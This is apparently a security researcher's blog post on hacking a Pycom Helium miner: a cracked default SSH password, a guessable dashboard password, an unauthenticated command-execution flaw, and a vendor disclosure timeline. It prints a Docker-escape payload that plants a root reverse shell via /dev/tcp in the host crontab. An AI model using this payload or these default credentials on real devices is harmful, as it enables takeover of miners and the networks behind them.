applied security research
Wesley Neelen - 05 sep 2022

Hacking my Helium Crypto Miner

Recently I came across an interesting cryptocurrency project called Helium. Its a wireless network built by people all around the world. The people that help expanding the network by adding a hotspot receive the Helium cryptocurrency coin by providing the coverage.

During my research I decided to order one of those Helium miners. I ordered a device released by Pycom, because I had some good experience with their devices while playing with IoT / LoRa.

Lets open the box

After a few months I received the device. I noticed that there’s an SD-card inside the device. I couldn’t resist opening the box and creating a copy using DD:

Lets crack the password

After mounting the DD image file in Linux, I was able to view all the files on the operating system. The device was offering SSH by default, however I didn’t have a user nor a password. So the first step was to look into the /etc/passwd file to view the users including the password hashes:

ubuntu:$y$j9T$QKDlnYSkMAukWbVQkUwZc1$b5r81S0G.WD0BfuPrJtEvjtyLbnRth8rHOf/c6q7.q4:1000:1000:Ubuntu:/home/ubuntu:/bin/bash

By feeding the hash to John the Ripper it instantly became clear that the password of the ubuntu user was ubuntu.

This allowed me to login through SSH:

It’s in a jail

Pycom did put all parts of the miner into separate dockers (Dashboard, Miner, UPNP, Packet forwarder). The following docker compose file was found:

version: '2'

services:

  packet-forwarder:
    image: "docker.io/pycomio/hm-pktfwd:latest"
    privileged: true
    network_mode: "host"
    volumes:
      - pktfwdr:/var/pktfwd
    restart: on-failure

  helium-miner:
    image: "docker.io/pycomio/hm-miner:latest"
    expose:
      - "1680"
      - "4467"
      - "44158"
    privileged: true
    network_mode: "host"
    volumes:
      - miner-storage:/var/data
      - miner-log:/var/log/miner
      - pktfwdr:/var/pktfwd
      - /run/dbus/:/run/dbus/
      - /home/ubuntu/overlay/docker.config:/config/sys.config
    cap_add:
      - SYS_RAWIO
    restart: on-failure
    environment:
      - DBUS_SYSTEM_BUS_ADDRESS=unix:path=/run/dbus/system_bus_socket

  upnp:
    image: pycomio/hm-upnp
    network_mode: host
    restart: on-failure

  helium-dashboard:
    image: "docker.io/pycomio/hm-dashboard"
    depends_on:
      - helium-miner
      - packet-forwarder
    expose:
      - "80"
    ports:
      - "80:3020/tcp"
    privileged: true
    volumes:
      - miner-storage:/var/data
      - miner-log:/var/log/miner
      - pktfwdr:/var/pktfwd
      - /run/dbus/:/run/dbus/
      - /var/run/docker.sock:/var/run/docker.sock
      - /var/data/public_keys:/var/data/public_keys
    cap_add:
      - SYS_RAWIO
    devices:
      - /dev/i2c-10:/dev/i2c-1
    restart: on-failure
    environment:
      - DBUS_SYSTEM_BUS_ADDRESS=unix:path=/run/dbus/system_bus_socket


volumes:
  miner-storage:
  miner-log:
  pktfwdr:

Lets enter the web interface

One weird thing is that Pycom advertised the miner with a management dashboard, which allowed you to control your miner through a web interface. However, I wasn’t able find this password anywhere. Not in the box. Not on the internet. So, a useful challenge was gaining access to the web interface password to be able to use it. After opening the Dashboard docker, it became clear that the password is the ‘animal name’ of the Helium miner:

Interesting fact is that the animal names (in other words, the hotspot name) of all the miners are accessible on the Helium explorer, so guessing the password isn’t that hard (e.g. the hotspot Breezy Vinyl Donkey would have the password breezy-vinyl-donkey).

Great, we now have access to the web interface.

How does it update?

Usually an interesting part is taking a look at the update mechanism of such an device. I found a crontab file in the /root directory:

*/5 * * * * /bin/bash -c "$(curl -fsSL https://software.pycom.io/downloads/update-hotspot.sh)"

The script contained the following code:

#!/bin/sh
if [ ! -f /etc/provisioning.txt ]; then
    exit 0
fi
upSeconds="$(cat /proc/uptime | grep -o '^[0-9]\+')"

if [ "${upSeconds}" -lt "1800" ]
then
    exit 0
fi
REMOTE_VERSION="0.0.6"
if [ ! -f "/etc/hotspot-version.txt" ]; then
  LOCAL_VERSION="0.0.1"
else
  LOCAL_VERSION=$(cat /etc/hotspot-version.txt)
fi
echo "Local version: $LOCAL_VERSION"
echo "Remote version: $REMOTE_VERSION"
if [ ! $REMOTE_VERSION = $LOCAL_VERSION ]; then
  curl "https://software.pycom.io/downloads/miner-${REMOTE_VERSION}.tar.gz" | tar -xvzf - -C /
  while true; do
    su - ubuntu -c "docker-compose pull && docker-compose up -d --remove-orphans"
    success=$?
    if [ "$success" -eq 0 ]; then
      break
    else
      sleep 30
    fi
  done
  sleep 1
  crontab /root/crontab
  echo "UPDATED $REMOTE_VERSION" >> /etc/pycom.txt
  echo $REMOTE_VERSION > /etc/hotspot-version.txt
fi
exit 0

The current version of the software was 0.0.6 so the URL to download this particular update file is: https://software.pycom.io/downloads/miner-0.0.6.tar.gz

After downloading the file, it became clear that the tar.gz file simply contains Linux files which will be overwritten on the operating system.

This pretty useful, we are now able to see every change in every update.

Lets hack your miner

Gaining full access to the device and web interface was much easier then expected. But are there also vulnerabilities present in the device – for example in the web interface?

The web interface allows you to control the dockers – which feels like there might be command execution possibilities. After intercepting requests with Burp, I found a remote command execution vulnerability and the correct payload to download a payload remotely:

Note that there is no authentication implemented in this API. Everyone with network access to Helium Miners web interface is able to execute the issue. I created a video with the exploit in action:

Another interesting fact is that we obtained root access to the hm-dashboard docker container. Within this container we are able to run the docker command to control all other dockers on the same miner. In the video above we are running the command ls -l / hm-miner docker container while we are in the hm-dashboard container. Pretty cool!

Are we also able to use the access to the docker command to escalate to the host operating system? After a while I managed to create a payload which achieves this:

docker run --rm --mount type=bind,source="/",target=/host alpine sh -c 'echo "* * * * *   root   bash -c \"bash -i >& /dev/tcp/127.0.0.1/8000 0>&1\"" | tee -a /host/etc/crontab'

The payload creates and runs a new docker containers, mounts / on the host to the /host directory in the docker. A command is run within the docker to add a reverse shell to the hosts crontab as root.

Contacting the vendor

The last part was to contact the vendor with all my findings. The first reply from their dev team kind of surprised me:

Our miner is indeed designed to be open. None of his findings are a surprise.

Sure, its very cool the device to be open. But in the current situation the RCE introduces risks to their customers, if they connect the miners web interface directly to the internet. It means compromise of their miner, but also their network. I confirmed that it was possible to reach my internal network from within the hm-dashboard docker container.

I tried to explain this by more communication with Pycom:

22 august 2022Initial contact with all findings
23 august 2022Received a reply from Pycom: “Our miner is indeed designed to be open. None of his findings are a surprise.”
23 august 2022Replied to emphasize the potential impact of an unauthenticated remote command execution vulnerability
23 august 2022Received a reply from Pycom: “We have sent your suggestions to the dev team and they are looking into it.”
23 august 2022Replied to ask Pycom if they could update me if there is any progress
26 august 2022Replied to ask if Pycom has a response from it’s developers. Announcing that I will publish the blog on the 5th of September. If they need more time for a patch, that’s not an issue.
31 august 2022Received a reply from Pycom: they are closing the ticket because colleagues already replied to me.
2 sept 2022It looks like Pycom released a patch fixing some of my mentioned issues. I haven’t extensively validated their patch so its unclear whether the issues have been fixed correctly. At least I saw the following updates: password change on first logon is enforced, authorization is added to the API and input is sanitized while injecting commands.

Advice

My advice to users would be to not directly connect the miner on the internet on ports such as SSH and HTTP.

Happy mining!

Blogs

Hacking my Helium Crypto Miner

Wesley Neelen - 05 sep 2022
Recently I came across an interesting cryptocurrency project called Helium. Its a wireless network built by people all around the world. The people that help expanding the network by adding a hotspot receive the Helium cryptocurrency coin by providing the coverage. During my research I decided to order one of those Helium miners. I ordered […] Lees verder

PEN-300 / OSEP review

Wesley Neelen - 19 jul 2022
This year I decided to start a new study, the PEN-300 course of Offensive Security. In 2012 I did the OSCP course and in 2013 OSCE. In 2016 I took the OSEE class in Vegas, unfortunately never took the exam (one of my biggest mistakes ever🥴). I liked all the courses very much at that […] Lees verder

Deze 3 misverstanden blokkeren het ontwikkelen van cyberweerbaarheid

Zolder B.V. - 04 jul 2022
Het NCTV heeft weer het jaarlijkse Cybersecuritybeeld Nederland gepubliceerd. Het CSBN-2022. Mooie aanleiding om eens op te schrijven waar ik al langer mee in mijn hoofd zit. Drie hardnekkige en foute aannames die mensen hebben bij digitale dreigingen. Drie misverstanden dus, die in mijn ervaring de belangrijkste reden zijn dat we nauwelijks vooruit komen met […] Lees verder

Cyberweerbaarheid en Operational Technology

Erik Remmelzwaal - 02 jun 2022
Onlangs nam Erik Remmelzwaal, co-owner en Managing Director van Zolder BV, deel aan een tafelgesprek van Data Value Center – Smart Industry (DVC-SI). Het thema was Cyberweerbaarheid en Operational Technology, en het gesprek werd opgenomen in de campus van Breda Robotics, waar Zolder lid van is. De opname is inmiddels beschikbaar en terug te kijken […] Lees verder

Detecting MFASweep using Azure Sentinel

Zolder B.V. - 01 nov 2021
Many companies are using cloud services such as Microsoft 365 for email, file sharing and communicating. If an attacker gains access to valid credentials that allows them to authenticate to the account, all information within the account is usually instantly accessible. Therefor, implementing multi factor authentication is one of the most important steps while securing […] Lees verder

Public SharePoint sites - the new open shares

Wesley Neelen - 16 sep 2021
During one of our engagements we were investigating a Microsoft 365 environment. My colleague Rik discovered that many SharePoint sites were publicly available within the organization. We were surprised by the amount sites that were wide open this way. A lot of sensitive information was located on those sites, for example PII-information and passwords for […] Lees verder

Decrypt passwords from Xerox Workcentre config backups

Rik van Duijn - 29 aug 2021
During a recent engagement we encountered Xerox WorkCentre printers using default credentials (admin:1111). Usually it’s just another finding, but this time we noticed the printer had SMB and e-mail credentials configured. For LDAP we usually point the printer to our own IP and get access to the plaintext creds that way. But in the case […] Lees verder

Office 365 audit logging

Rik van Duijn - 19 aug 2021
It’s important to enable audit logging for o365 even if you are not monitoring them actively. Atleast if you get hacked there’s logging to investigate :). The audit log is not always enabled by default, it seems to rely on license levels. However there are some important things to take into consideration. You can enable […] Lees verder

Ransomware, nationale crisis?

Erik Remmelzwaal - 04 aug 2021
Als er 1 digitale dreiging is die veel in het nieuws komt, dan is het ransomware. Er wordt zelfs gesproken van een nationale crisis. Lees verder

Mijlpalen en hoe het gaat

Zolder B.V. - 02 jul 2021
Vandaag gebeurden er op Zolder toch een paar dingen die blogwaardig zijn. Dus prima aanleiding om nog maar eens de laptop open te klappen en te vertellen hoe het gaat. Nieuwe collega’s Het is 1 juli 2021 en we zijn ruim een jaartje onderweg als Zolder. De belangrijkste stap die we vandaag zetten, is dat […] Lees verder

Zolder wordt hoofdsponsor HCZ

Zolder B.V. - 01 jul 2021
Vandaag is bekend geworden dat Zolder de nieuwe hoofdsponsor is van HCZ – Hockeyclub Zevenbergen. De komende drie seizoenen zal het logo van Zolder daarom voorop de shirts van alle HCZ leden prijken. We zijn heel erg trots op deze nieuwe stap voor ons jonge bedrijf, en hopen zo de relatie met onze regio te […] Lees verder

Breda Robotics

Erik Remmelzwaal - 10 mei 2021
Zolder BV is toegetreden tot het netwerk van Breda Robotics. Deze vereniging brengt organisaties bij elkaar die actief zijn rondom robotisering in de regio West-Brabant. Voor Zolder geeft Breda Robotics de mogelijkheid om samen te werken met de robotiseringsindustrie. Te begrijpen hoe die sector precies werk en op welke vlakken cybersecurity kennis kan worden ingezet […] Lees verder

27% .nl domeinen slecht beschermd tegen spoofing

Erik Remmelzwaal - 29 apr 2021
TLDR: We scanden de DNS records van 1,6 miljoen .nl domeinen en vonden uit: 9% is rechtstreeks gekoppeld aan Microsoft 365, daarmee is Microsoft veruit de grootste Google is nr2 en heeft 4% van de domeinen aan zich verbonden, nagenoeg gelijk aan een aantal andere spelers. Van alle mail-enabled domeinen heeft 27% geen SPF record […] Lees verder

Zolder biedt MKB betaalbare en eenvoudige security-app

Zolder B.V. - 12 apr 2021
“Attic voorkomt dat security een luchtbel wordt” Security is bij mkb-bedrijven vaak het ondergeschoven kindje. Ze hebben er de mensen en het budget niet voor. Dat maakt deze doelgroep een aantrekkelijk doelwit voor cybercriminelen. Voor de vier doorgewinterde cybersecurity-experts van start-up Zolder reden om Attic te introduceren. Deze eenvoudige, goedkope en toekomstbestendige app maakt mkb’ers […] Lees verder

Nieuwe Themesong voor Zoldersessions

Erik Remmelzwaal - 13 mrt 2021
Ik vond het tijd worden voor een nieuw liedje voor onze Zoldersessions. Tot nu toe hadden we er een rechtenvrij liedje onder staan, namelijk EVA_失望した, maar wilden toch iets meer 'eigens'. Daar schakelden we Bjørgen van Essen voor in met dit eindresultaat. Dit is hoe dat tot stand kwam. Lees verder

Zolder.App Open Beta

Zolder B.V. - 02 feb 2021
We launched the final beta release to the Google and Apple appstores. Any business running on Microsoft 365 is more than welcome to join. As a beta-tester you will receive a free subscription to the Zolder.App Premium Plan for the remainder of the beta phase, which is scheduled to run through April 30th 2021. Zolder.App […] Lees verder

GGD data is topje van ijsberg

Erik Remmelzwaal - 26 jan 2021
Maandag kwam RTL Nieuws, na onderzoek van Daniël Verlaan, naar buiten met het nieuws dat gestolen data van de GGD online wordt verhandeld door criminelen. Het gaat om data die onderdeel uitmaakt van het bron- en contactonderzoek dat de GGD uitvoert als onderdeel van de bestrijding van Corona/COVID-19. De data bevat gevoelige persoonsgegevens en criminelen […] Lees verder

#CES2021 - We Are Ready!

Erik Remmelzwaal - 06 jan 2021
We are very excited to be part of the #CES2021NL mission! Meet us at CES (Januari 11-14) in our online booth 10609 and see how we solve global challenges with NLTech. Erik Remmelzwaal, Co-Founder & CEO Yes I indeed think we are ready for CES. At this virtual event we will showcase Zolder.App. I am […] Lees verder

Zolder.App Blog 3 - Feedback

Erik Remmelzwaal - 27 nov 2020
Bij het ontwikkelen van een nieuwe dienst, zeker als dit Software-as-a-Service betreft, is feedback vanuit (potentiële) afnemers cruciaal. In het geval van Zolder.App is de doelgroep het MKB. We zijn al gelijk na lancering van het merk Zolder gestart met het vinden van MKB-ers die als tester wilden helpen. Oproep 19-apr-2020 Dit leidde tot best […] Lees verder

Azure App Consent Policies

Rik van Duijn - 11 nov 2020
OAuth consent phishing has been on the rise for a while now. Unsurprisingly, Microsoft has gradually introduced measures to protect from this type of attack. Latest: Risk-Based Step-Up Consent. Lees verder